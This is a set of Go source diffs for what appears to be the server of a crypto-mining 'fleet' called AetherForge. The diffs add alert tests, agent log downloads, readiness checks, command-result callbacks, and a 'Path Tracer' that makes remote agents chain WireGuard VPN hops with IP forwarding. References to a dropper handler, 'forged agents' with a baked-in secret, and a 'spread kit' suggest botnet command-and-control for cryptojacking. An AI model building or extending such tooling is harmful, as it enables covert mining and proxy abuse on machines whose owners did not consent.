alerts *alerts.Evaluator
defaultPool pool.Config
dataDir string
// XMR price cache — per-handler so multiple routers in one process stay isolated.
xmrPriceMu sync.Mutex
@@ -52,7 +55,7 @@ type poolEarningsCache struct {
const earningsCacheTTL = 5 * time.Minute
func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *pool.Manager, evaluator *alerts.Evaluator, defaultPool pool.Config) *FleetHandler {
func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *pool.Manager, evaluator *alerts.Evaluator, defaultPool pool.Config, dataDir string) *FleetHandler {
return &FleetHandler{
db: database,
ws: ws,
@@ -60,6 +63,7 @@ func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *poo
pools: pools,
alerts: evaluator,
defaultPool: defaultPool,
dataDir: dataDir,
}
}
@@ -71,6 +75,53 @@ func (f *FleetHandler) GetAlerts(w http.ResponseWriter, r *http.Request) {
writeJSON(w, f.alerts.ActiveAlerts())
}
// PostAlertTest fires a test notification on every configured channel and
// returns per-channel results without raising a real fleet alert.
func (f *FleetHandler) PostAlertTest(w http.ResponseWriter, r *http.Request) {
const testMsg = "AetherForge test notification — alerts are configured correctly"
type channelResult struct {
Sent bool `json:"sent"`
Error *string `json:"error"`
}
result := map[string]channelResult{}
if f.alerts == nil {
errStr := "alert evaluator not configured"
result["telegram"] = channelResult{Sent: false, Error: &errStr}
result["smtp"] = channelResult{Sent: false, Error: &errStr}
writeJSON(w, result)
return
}
cfg := f.alerts.GetNotifyConfig()
// Telegram
if cfg.TelegramBotToken == "" || cfg.TelegramChatID == "" {
errStr := "not configured"
result["telegram"] = channelResult{Sent: false, Error: &errStr}
} else if err := alerts.SendTelegram(cfg, testMsg); err != nil {
errStr := err.Error()
result["telegram"] = channelResult{Sent: false, Error: &errStr}
} else {
result["telegram"] = channelResult{Sent: true}
}
// SMTP
if !cfg.EmailEnabled || cfg.SMTPHost == "" || cfg.EmailTo == "" {
errStr := "not configured"
result["smtp"] = channelResult{Sent: false, Error: &errStr}
} else if err := alerts.SendEmail(cfg, "AetherForge Alert Test", testMsg); err != nil {
errStr := err.Error()
result["smtp"] = channelResult{Sent: false, Error: &errStr}
} else {
result["smtp"] = channelResult{Sent: true}
}
writeJSON(w, result)
}
func (f *FleetHandler) GetPoolStatus(w http.ResponseWriter, r *http.Request) {
if f.pools == nil {
writeJSON(w, []pool.PoolStatus{})
@@ -254,6 +305,23 @@ func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
// The dashboard will receive the log content via the commandResults queue.
_ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300})
}
if r.URL.Query().Get("download") == "1" {
// If the in-memory buffer is empty, try the persisted log file on disk.
if content == "" && f.dataDir != "" {
logPath := filepath.Join(f.dataDir, "logs", id+".log")
if data, err := os.ReadFile(logPath); err == nil {
content = string(data)
}
}
date := time.Now().UTC().Format("2006-01-02")
filename := fmt.Sprintf("agent-%s-%s.log", id, date)
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.Header().Set("Content-Disposition", `attachment; filename="`+filename+`"`)
fmt.Fprint(w, content)
return
}
writeJSON(w, map[string]interface{}{
"agent_id": id,
"content": content,

View File

@@ -64,7 +64,7 @@ func newTestFleetHandler(t *testing.T) (*FleetHandler, *db.Database, *WSHub, *AI
t.Cleanup(func() { _ = database.Close() })
ws := NewWSHub(database)
ai := NewAIHandler(database)
fh := NewFleetHandler(database, ws, ai, nil, nil, pool.Config{})
fh := NewFleetHandler(database, ws, ai, nil, nil, pool.Config{}, "")
return fh, database, ws, ai
}
@@ -182,10 +182,10 @@ func TestFleetGetAlertsWithEvaluator(t *testing.T) {
evaluator := alerts.NewEvaluator(database, func() alerts.Thresholds {
return alerts.Thresholds{OfflineMinutes: 5}
}, func() alerts.NotifyConfig { return alerts.NotifyConfig{} }, nil)
}, func() alerts.Settings { return alerts.NewSettings(alerts.NotifyConfig{}, alerts.EventToggles{}) }, nil)
evaluator.RunOnce()
fh := NewFleetHandler(database, NewWSHub(database), NewAIHandler(database), nil, evaluator, pool.Config{})
fh := NewFleetHandler(database, NewWSHub(database), NewAIHandler(database), nil, evaluator, pool.Config{}, "")
rec := httptest.NewRecorder()
fh.GetAlerts(rec, httptest.NewRequest(http.MethodGet, "/alerts", nil))
if rec.Code != http.StatusOK {
@@ -200,6 +200,48 @@ func TestFleetGetAlertsWithEvaluator(t *testing.T) {
}
}
func TestFleetPostAlertTestUnconfigured(t *testing.T) {
evaluator := alerts.NewEvaluator(nil, func() alerts.Thresholds { return alerts.Thresholds{} },
func() alerts.Settings { return alerts.NewSettings(alerts.NotifyConfig{}, alerts.EventToggles{}) }, nil)
fh := NewFleetHandler(nil, NewWSHub(nil), NewAIHandler(nil), nil, evaluator, pool.Config{}, "")
rec := httptest.NewRecorder()
fh.PostAlertTest(rec, httptest.NewRequest(http.MethodPost, "/alerts/test", nil))
if rec.Code != http.StatusOK {
t.Fatalf("status %d", rec.Code)
}
var body map[string]struct {
Sent bool `json:"sent"`
Error *string `json:"error"`
}
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if body["telegram"].Sent || body["smtp"].Sent {
t.Fatalf("expected no sends, got %+v", body)
}
if body["telegram"].Error == nil || *body["telegram"].Error != "not configured" {
t.Fatalf("telegram: %+v", body["telegram"])
}
}
func TestFleetPostAlertTestNilEvaluator(t *testing.T) {
fh, _, _, _ := newTestFleetHandler(t)
rec := httptest.NewRecorder()
fh.PostAlertTest(rec, httptest.NewRequest(http.MethodPost, "/alerts/test", nil))
if rec.Code != http.StatusOK {
t.Fatalf("status %d", rec.Code)
}
var body map[string]struct {
Error *string `json:"error"`
}
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if body["telegram"].Error == nil || *body["telegram"].Error != "alert evaluator not configured" {
t.Fatalf("got %+v", body["telegram"])
}
}
func TestFleetGetPoolStatusNilManager(t *testing.T) {
fh, _, _, _ := newTestFleetHandler(t)
rec := httptest.NewRecorder()
@@ -556,7 +598,7 @@ func TestFleetPostAgentCommandErrors(t *testing.T) {
fh, _, ws, _ := newTestFleetHandler(t)
t.Run("nil ws", func(t *testing.T) {
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool)
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool, "")
rec := httptest.NewRecorder()
req := httptest.NewRequest(http.MethodPost, "/agents/a1/command", strings.NewReader(`{"action":"pause"}`))
fleetChiRoute(http.MethodPost, "/agents/{id}/command", bad.PostAgentCommand).ServeHTTP(rec, req)
@@ -736,7 +778,7 @@ func TestFleetPostBulkCommandErrors(t *testing.T) {
fh, _, _, _ := newTestFleetHandler(t)
t.Run("nil ws", func(t *testing.T) {
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool)
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool, "")
rec := httptest.NewRecorder()
req := httptest.NewRequest(http.MethodPost, "/agents/bulk-command",
strings.NewReader(`{"agent_ids":["a"],"action":"pause"}`))

View File

@@ -4,12 +4,15 @@ import (
"encoding/json"
"net/http"
"strconv"
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
)
var serverStartTime = time.Now()
type Handler struct {
db *db.Database
}
@@ -100,6 +103,45 @@ func (h *Handler) HealthCheck(w http.ResponseWriter, r *http.Request) {
writeJSON(w, map[string]string{"status": "ok"})
}
// GET /api/v1/server/ready
// Requires auth (not in the basicAuthMiddleware bypass list).
// Add ?verbose=1 to get full diagnostics; omit for a lightweight liveness check.
func (h *Handler) ServerReady(w http.ResponseWriter, r *http.Request) {
uptime := int64(time.Since(serverStartTime).Seconds())
resp := map[string]interface{}{
"status": "ok",
"uptime_s": uptime,
}
if r.URL.Query().Get("verbose") != "1" {
writeJSON(w, resp)
return
}
// DB ping
dbStatus := "ok"
if err := h.db.QueryRow("SELECT 1").Scan(new(int)); err != nil {
dbStatus = "error: " + err.Error()
resp["status"] = "degraded"
}
resp["db"] = dbStatus
// Count online agents
var onlineAgents int
if err := h.db.QueryRow("SELECT COUNT(*) FROM agents WHERE status = 'online'").Scan(&onlineAgents); err != nil {
onlineAgents = -1
}
resp["agents_online"] = onlineAgents
if resp["status"] == "degraded" {
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(http.StatusServiceUnavailable)
json.NewEncoder(w).Encode(resp)
return
}
writeJSON(w, resp)
}
// GET /api/v1/builds
func (h *Handler) ListBuilds(w http.ResponseWriter, r *http.Request) {
builds, err := h.db.ListBuilds(50)

View File

@@ -68,7 +68,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
cfg := &mockConfigProvider{}
configHandler := NewConfigHandler(cfg)
aiHandler := NewAIHandler(database)
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)

View File

@@ -0,0 +1,455 @@
package api
import (
"crypto/rand"
"encoding/base64"
"encoding/json"
"fmt"
"image/color"
"image/png"
"log"
"net/http"
"strings"
"sync"
"time"
"github.com/go-chi/chi/v5"
"github.com/google/uuid"
qrcode "github.com/skip2/go-qrcode"
"golang.org/x/crypto/curve25519"
)
// ── types ─────────────────────────────────────────────────────────────────────
// HopStatus tracks one agent's progress in a trace session.
type HopStatus string
const (
HopPending HopStatus = "pending"
HopReady HopStatus = "ready"
HopFailed HopStatus = "failed"
)
// HopInfo records what we know about each hop in the chain.
type HopInfo struct {
AgentID string `json:"agent_id"`
AgentName string `json:"agent_name"`
ExternalIP string `json:"external_ip"`
Port int `json:"port"`
PublicKey string `json:"public_key"`
PrivateKey string `json:"-"` // never sent to client
LocalAddr string `json:"local_addr"`
Status HopStatus `json:"status"`
Error string `json:"error,omitempty"`
}
// TraceSession holds all state for one active VPN session.
type TraceSession struct {
ID string `json:"id"`
AgentIDs []string `json:"agent_ids"`
Hops []*HopInfo `json:"hops"`
Ready bool `json:"ready"`
Error string `json:"error,omitempty"`
CreatedAt time.Time `json:"created_at"`
// Client WireGuard keypair — used to build the QR config.
clientPrivKey string
clientPubKey string
}
// PathTracerHandler manages on-demand WireGuard chain sessions.
type PathTracerHandler struct {
hub *WSHub
mu sync.Mutex
sessions map[string]*TraceSession
}
func NewPathTracerHandler(hub *WSHub) *PathTracerHandler {
return &PathTracerHandler{
hub: hub,
sessions: make(map[string]*TraceSession),
}
}
// ── HTTP handlers ─────────────────────────────────────────────────────────────
// POST /api/v1/pathtrace/start
// Body: {"agent_ids": ["id1","id2",...]}
func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) {
var req struct {
AgentIDs []string `json:"agent_ids"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil || len(req.AgentIDs) == 0 {
http.Error(w, "agent_ids required", http.StatusBadRequest)
return
}
if len(req.AgentIDs) > 3 {
http.Error(w, "max 3 hops supported", http.StatusBadRequest)
return
}
clientPriv, clientPub, err := generateServerWGKeyPair()
if err != nil {
http.Error(w, "keygen failed", http.StatusInternalServerError)
return
}
sess := &TraceSession{
ID: uuid.New().String(),
AgentIDs: req.AgentIDs,
CreatedAt: time.Now(),
clientPrivKey: clientPriv,
clientPubKey: clientPub,
}
// Build hops with placeholder names (agent name lookup below).
for i, id := range req.AgentIDs {
sess.Hops = append(sess.Hops, &HopInfo{
AgentID: id,
AgentName: fmt.Sprintf("hop-%d", i+1),
LocalAddr: fmt.Sprintf("10.66.0.%d/24", i+2), // .2, .3, .4
Port: 51820,
Status: HopPending,
})
}
h.mu.Lock()
h.sessions[sess.ID] = sess
h.mu.Unlock()
// Orchestrate asynchronously so the HTTP response returns quickly.
go h.orchestrate(sess)
writeJSON(w, map[string]interface{}{
"session_id": sess.ID,
"hops": sess.Hops,
})
}
// GET /api/v1/pathtrace/{id}/status
func (h *PathTracerHandler) Status(w http.ResponseWriter, r *http.Request) {
sess := h.getSession(chi.URLParam(r, "id"))
if sess == nil {
http.Error(w, "session not found", http.StatusNotFound)
return
}
h.mu.Lock()
defer h.mu.Unlock()
writeJSON(w, map[string]interface{}{
"session_id": sess.ID,
"ready": sess.Ready,
"error": sess.Error,
"hops": sess.Hops,
})
}
// GET /api/v1/pathtrace/{id}/qr
func (h *PathTracerHandler) QR(w http.ResponseWriter, r *http.Request) {
sess := h.getSession(chi.URLParam(r, "id"))
if sess == nil {
http.Error(w, "session not found", http.StatusNotFound)
return
}
h.mu.Lock()
ready := sess.Ready
h.mu.Unlock()
if !ready {
http.Error(w, "session not ready yet", http.StatusAccepted)
return
}
cfg := h.buildClientConfig(sess)
// Return format: ?format=png → PNG image, default → JSON with text+png.
if r.URL.Query().Get("format") == "png" {
qr, err := qrcode.New(cfg, qrcode.High)
if err != nil {
http.Error(w, "qr generation failed", http.StatusInternalServerError)
return
}
qr.BackgroundColor = color.Black
qr.ForegroundColor = color.RGBA{R: 0, G: 255, B: 170, A: 255} // neon green
img := qr.Image(400)
w.Header().Set("Content-Type", "image/png")
_ = png.Encode(w, img)
return
}
qr, err := qrcode.Encode(cfg, qrcode.High, 300)
if err != nil {
http.Error(w, "qr generation failed", http.StatusInternalServerError)
return
}
writeJSON(w, map[string]interface{}{
"config": cfg,
"qr_png_b64": base64.StdEncoding.EncodeToString(qr),
})
}
// DELETE /api/v1/pathtrace/{id}
func (h *PathTracerHandler) Delete(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
sess := h.getSession(id)
if sess == nil {
http.Error(w, "session not found", http.StatusNotFound)
return
}
// Tell all agents to tear down.
for _, hop := range sess.Hops {
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
Type: "command",
Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
})
}
h.mu.Lock()
delete(h.sessions, id)
h.mu.Unlock()
writeJSON(w, map[string]interface{}{"ok": true})
}
// ── orchestration ─────────────────────────────────────────────────────────────
func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
log.Printf("[pathtrace] session %s: orchestrating %d hop(s)", sess.ID[:8], len(sess.Hops))
// Phase 1: send wg_setup to every hop in parallel, collect keypairs + IPs.
type setupResp struct {
hop *HopInfo
pub string
ip string
port int
err string
}
results := make(chan setupResp, len(sess.Hops))
for _, hop := range sess.Hops {
hop := hop
ch := h.hub.AwaitCommandResult(hop.AgentID, "wg_setup")
err := h.hub.writeAgentJSON(hop.AgentID, Message{
Type: "command",
Payload: mustMarshal(map[string]interface{}{"action": "wg_setup"}),
})
if err != nil {
h.hub.CancelAwait(hop.AgentID, "wg_setup")
results <- setupResp{hop: hop, err: "agent not connected: " + err.Error()}
continue
}
go func() {
select {
case payload := <-ch:
msgStr, _ := payload["message"].(string)
// message is JSON-encoded WGSetupResult
var res struct {
PublicKey string `json:"public_key"`
ExternalIP string `json:"external_ip"`
ExternalPort int `json:"external_port"`
Error string `json:"error"`
}
if jerr := json.Unmarshal([]byte(msgStr), &res); jerr != nil {
results <- setupResp{hop: hop, err: "parse error: " + jerr.Error()}
return
}
if res.Error != "" {
results <- setupResp{hop: hop, err: res.Error}
return
}
p := res.ExternalPort
if p == 0 {
p = 51820
}
// If UPnP failed, fall back to the IP the server saw.
ip := res.ExternalIP
if ip == "" {
if agent := h.hub.getAgentConnByID(hop.AgentID); agent != nil {
ip = hop.ExternalIP // pre-filled below
}
}
results <- setupResp{hop: hop, pub: res.PublicKey, ip: ip, port: p}
case <-time.After(20 * time.Second):
results <- setupResp{hop: hop, err: "timeout waiting for wg_setup response"}
}
}()
}
// Collect Phase 1 results.
for range sess.Hops {
r := <-results
h.mu.Lock()
if r.err != "" {
r.hop.Status = HopFailed
r.hop.Error = r.err
sess.Error = "hop " + r.hop.AgentID[:8] + " failed: " + r.err
} else {
r.hop.PublicKey = r.pub
r.hop.ExternalIP = r.ip
r.hop.Port = r.port
r.hop.Status = HopReady
}
h.mu.Unlock()
}
// If any hop failed at setup, abort.
h.mu.Lock()
anyFailed := false
for _, hop := range sess.Hops {
if hop.Status == HopFailed {
anyFailed = true
break
}
}
h.mu.Unlock()
if anyFailed {
log.Printf("[pathtrace] session %s: setup failed", sess.ID[:8])
return
}
// Phase 2: send wg_configure to each hop.
// Build per-hop configs:
// - Last hop: peer = none (it's the exit), just IP forwarding
// - Middle hops: peer = next hop
// - First hop: peer = next hop, or none if single-hop (client connects directly)
//
// The CLIENT config always points to the FIRST hop.
type cfgResp struct {
hop *HopInfo
err string
}
cfgResults := make(chan cfgResp, len(sess.Hops))
for i, hop := range sess.Hops {
hop := hop
i := i
payload := map[string]interface{}{
"session_id": sess.ID,
"private_key": "", // agent uses its own generated key
"local_address": hop.LocalAddr,
"listen_port": hop.Port,
"enable_ip_forwarding": true,
}
// Peers for this hop: only for relay hops (all except the exit/last hop).
if i < len(sess.Hops)-1 {
nextHop := sess.Hops[i+1]
payload["peers"] = []map[string]interface{}{
{
"public_key": nextHop.PublicKey,
"endpoint": fmt.Sprintf("%s:%d", nextHop.ExternalIP, nextHop.Port),
"allowed_ips": "0.0.0.0/0",
"persistent_keepalive": 25,
},
}
} else {
payload["peers"] = []map[string]interface{}{}
}
dataJSON, _ := json.Marshal(payload)
ch := h.hub.AwaitCommandResult(hop.AgentID, "wg_configure")
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
Type: "command",
Payload: mustMarshal(map[string]interface{}{
"action": "wg_configure",
"data": string(dataJSON),
}),
})
go func() {
select {
case p := <-ch:
success, _ := p["success"].(bool)
if !success {
msg, _ := p["message"].(string)
cfgResults <- cfgResp{hop: hop, err: msg}
return
}
cfgResults <- cfgResp{hop: hop}
case <-time.After(60 * time.Second):
cfgResults <- cfgResp{hop: hop, err: "timeout waiting for wg_configure"}
}
}()
}
for range sess.Hops {
r := <-cfgResults
h.mu.Lock()
if r.err != "" {
r.hop.Status = HopFailed
r.hop.Error = r.err
if sess.Error == "" {
sess.Error = "configure failed on " + r.hop.AgentID[:8] + ": " + r.err
}
}
h.mu.Unlock()
}
h.mu.Lock()
allReady := true
for _, hop := range sess.Hops {
if hop.Status != HopReady {
allReady = false
}
}
if allReady {
sess.Ready = true
}
h.mu.Unlock()
log.Printf("[pathtrace] session %s: orchestration complete, ready=%v", sess.ID[:8], allReady)
}
// buildClientConfig generates the WireGuard config text the user scans/imports.
func (h *PathTracerHandler) buildClientConfig(sess *TraceSession) string {
h.mu.Lock()
defer h.mu.Unlock()
var sb strings.Builder
sb.WriteString("[Interface]\n")
sb.WriteString("PrivateKey = " + sess.clientPrivKey + "\n")
sb.WriteString("Address = 10.66.0.1/24\n")
sb.WriteString("DNS = 1.1.1.1\n\n")
// Phone always connects to the first hop.
first := sess.Hops[0]
sb.WriteString("[Peer]\n")
sb.WriteString("PublicKey = " + first.PublicKey + "\n")
sb.WriteString(fmt.Sprintf("Endpoint = %s:%d\n", first.ExternalIP, first.Port))
sb.WriteString("AllowedIPs = 0.0.0.0/0\n")
sb.WriteString("PersistentKeepalive = 25\n")
return sb.String()
}
// ── helpers ───────────────────────────────────────────────────────────────────
func (h *PathTracerHandler) getSession(id string) *TraceSession {
h.mu.Lock()
defer h.mu.Unlock()
return h.sessions[id]
}
// getAgentConnByID returns the AgentConnection for the given ID (nil if offline).
func (h *WSHub) getAgentConnByID(id string) *AgentConnection {
h.mu.RLock()
defer h.mu.RUnlock()
return h.agents[id]
}
func generateServerWGKeyPair() (privB64, pubB64 string, err error) {
var priv [32]byte
if _, err = rand.Read(priv[:]); err != nil {
return
}
priv[0] &= 248
priv[31] &= 127
priv[31] |= 64
var pub [32]byte
curve25519.ScalarBaseMult(&pub, &priv)
privB64 = base64.StdEncoding.EncodeToString(priv[:])
pubB64 = base64.StdEncoding.EncodeToString(pub[:])
return
}

View File

@@ -401,9 +401,14 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
})
}
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, serverVersion ...string) http.Handler {
ensureUsersLoaded(dataDir)
version := "AetherForge"
if len(serverVersion) > 0 && serverVersion[0] != "" {
version = serverVersion[0]
}
r := chi.NewRouter()
// Middleware (global)
@@ -425,6 +430,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
h := NewHandler(database)
r.Get("/health", h.HealthCheck)
r.Get("/server/ready", h.ServerReady)
r.Get("/server/info", func(w http.ResponseWriter, r *http.Request) {
override := ""
if publicURLOverride != nil {
@@ -453,6 +459,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// Fleet ops
if fleetHandler != nil {
r.Get("/alerts", fleetHandler.GetAlerts)
r.Post("/alerts/test", fleetHandler.PostAlertTest)
r.Get("/pools/status", fleetHandler.GetPoolStatus)
r.Get("/ai/activity", fleetHandler.GetAIActivity)
r.Get("/earnings/estimate", fleetHandler.GetEarningsEstimate)
@@ -529,6 +536,18 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
writeJSON(w, map[string]interface{}{"success": true})
})
// Deck backup — authenticated full backup ZIP (config + DB + users)
backupH := NewBackupHandler(dataDir, version)
r.Get("/backup", backupH.ServeHTTP)
// Path Tracer — on-demand WireGuard chain sessions
if pathTracerHandler != nil {
r.Post("/pathtrace/start", pathTracerHandler.Start)
r.Get("/pathtrace/{id}/status", pathTracerHandler.Status)
r.Get("/pathtrace/{id}/qr", pathTracerHandler.QR)
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
}
// Agent autonomy REST — forged Go agents only (X-Fleet-Secret header).
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
r.Post("/agent/decide", aiHandler.HandleDecide)

View File

@@ -348,7 +348,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
cfg := &mockConfigProvider{}
configHandler := NewConfigHandler(cfg)
aiHandler := NewAIHandler(database)
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, "", dataDir, nil)
@@ -424,7 +424,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
cfg := &mockConfigProvider{}
configHandler := NewConfigHandler(cfg)
aiHandler := NewAIHandler(database)
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)

View File

@@ -2,8 +2,10 @@ package api
import (
"crypto/subtle"
"database/sql"
"encoding/base64"
"encoding/json"
"errors"
"fmt"
"log"
"net/http"
@@ -11,6 +13,7 @@ import (
"sync"
"time"
"crypto-miner-server/internal/alerts"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/pool"
@@ -100,6 +103,9 @@ func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time
return d.Conn.WriteControl(messageType, data, deadline)
}
// cmdResultKey is used to key pending command callbacks: "agentID:action".
type cmdResultKey struct{ AgentID, Action string }
type WSHub struct {
db *db.Database
agents map[string]*AgentConnection
@@ -115,7 +121,13 @@ type WSHub struct {
serverPolicy ServerPolicy
pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect
eventNotifier *alerts.Notifier
mu sync.RWMutex
// pendingCmdCallbacks allows handlers to await a specific command_result
// from an agent (used by Path Tracer orchestration).
pendingCmdMu sync.Mutex
pendingCmdCallbacks map[cmdResultKey]chan map[string]interface{}
}
func NewWSHub(database *db.Database) *WSHub {
@@ -128,14 +140,15 @@ func NewWSHub(database *db.Database) *WSHub {
}
h := &WSHub{
db: database,
agents: make(map[string]*AgentConnection),
dashboards: make(map[string]*DashboardConn),
agentConfigs: make(map[string]AgentForgeConfig),
agentCapabilities: make(map[string]models.AgentCapabilities),
agentLogs: make(map[string]string),
agentDNS: make(map[string][]string),
pingIntervalSec: 30,
db: database,
agents: make(map[string]*AgentConnection),
dashboards: make(map[string]*DashboardConn),
agentConfigs: make(map[string]AgentForgeConfig),
agentCapabilities: make(map[string]models.AgentCapabilities),
agentLogs: make(map[string]string),
agentDNS: make(map[string][]string),
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
pingIntervalSec: 30,
}
// Background stale-agent sweep: if an agent's last_seen is more than
@@ -206,6 +219,12 @@ func (h *WSHub) SetPingInterval(seconds int) {
// SetFleetSecret stores the shared secret that all forged agents must present.
// Called once at startup from main.go after config is loaded.
func (h *WSHub) SetEventNotifier(n *alerts.Notifier) {
h.mu.Lock()
h.eventNotifier = n
h.mu.Unlock()
}
func (h *WSHub) SetFleetSecret(secret string) {
h.mu.Lock()
h.fleetSecret = secret
@@ -299,6 +318,40 @@ func (h *WSHub) connectedAgentCount() int {
return len(h.agents)
}
// AwaitCommandResult registers a one-shot channel that will receive the next
// command_result payload for the given agentID+action pair. Call before
// sending the command so no result is missed. The caller must read from the
// returned channel within the given timeout.
func (h *WSHub) AwaitCommandResult(agentID, action string) <-chan map[string]interface{} {
ch := make(chan map[string]interface{}, 1)
h.pendingCmdMu.Lock()
h.pendingCmdCallbacks[cmdResultKey{agentID, action}] = ch
h.pendingCmdMu.Unlock()
return ch
}
// CancelAwait removes a pending callback without consuming it.
func (h *WSHub) CancelAwait(agentID, action string) {
h.pendingCmdMu.Lock()
delete(h.pendingCmdCallbacks, cmdResultKey{agentID, action})
h.pendingCmdMu.Unlock()
}
func (h *WSHub) notifyCmdCallback(agentID, action string, payload map[string]interface{}) {
h.pendingCmdMu.Lock()
ch, ok := h.pendingCmdCallbacks[cmdResultKey{agentID, action}]
if ok {
delete(h.pendingCmdCallbacks, cmdResultKey{agentID, action})
}
h.pendingCmdMu.Unlock()
if ok {
select {
case ch <- payload:
default:
}
}
}
func (h *WSHub) isAgentConnected(agentID string) bool {
h.mu.RLock()
defer h.mu.RUnlock()
@@ -582,6 +635,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
clientIP = clientIP[:idx]
}
prior, priorErr := h.db.GetAgent(agentID)
isNewAgent := errors.Is(priorErr, sql.ErrNoRows)
agent := &models.Agent{
ID: agentID,
Name: displayName,
@@ -616,8 +672,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
// two concurrent new agents could both pass the count check under RLock, then
// both get registered, overshooting the limit.
h.mu.Lock()
_, alreadyConnected := h.agents[agentID]
if policy.MaxAgents > 0 {
_, alreadyConnected := h.agents[agentID]
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
h.mu.Unlock()
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
@@ -653,6 +709,23 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
Payload: mustMarshal(agent),
})
if h.eventNotifier != nil {
platform := auth.Platform
if platform == "" {
platform = "unknown"
}
if isNewAgent {
h.eventNotifier.Emit(alerts.EventAgentConnect, "AetherForge connect",
displayName+" joined the fleet ("+platform+" · "+clientIP+")")
} else if alreadyConnected {
h.eventNotifier.Emit(alerts.EventAgentReconnect, "AetherForge reconnect",
displayName+" took over an active session ("+clientIP+")")
} else if prior != nil && prior.Status != "online" {
h.eventNotifier.Emit(alerts.EventAgentReconnect, "AetherForge reconnect",
displayName+" is back online ("+platform+" · "+clientIP+")")
}
}
case "stats":
if agentID == "" {
continue
@@ -721,7 +794,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)
h.db.InsertHashrateSample(agentID, stats.Hashrate15m)
gpuActive := stats.GPUMinerActive != nil && *stats.GPUMinerActive
h.db.UpdateAgentGPUStats(agentID, stats.GPUHashrate15m, stats.GPUModel, gpuActive)
h.db.InsertHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m)
broadcast := map[string]interface{}{
"agent_id": agentID,
@@ -972,6 +1048,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
payload["agent_id"] = agentID
h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
// Notify any handler waiting for this specific agent+action result.
if action, _ := payload["action"].(string); action != "" {
h.notifyCmdCallback(agentID, action, payload)
}
}
}
}

View File

@@ -106,6 +106,7 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
}); err != nil {
log.Printf("[Builder] InsertBuild error (spread kit %s): %v", buildID, err)
}
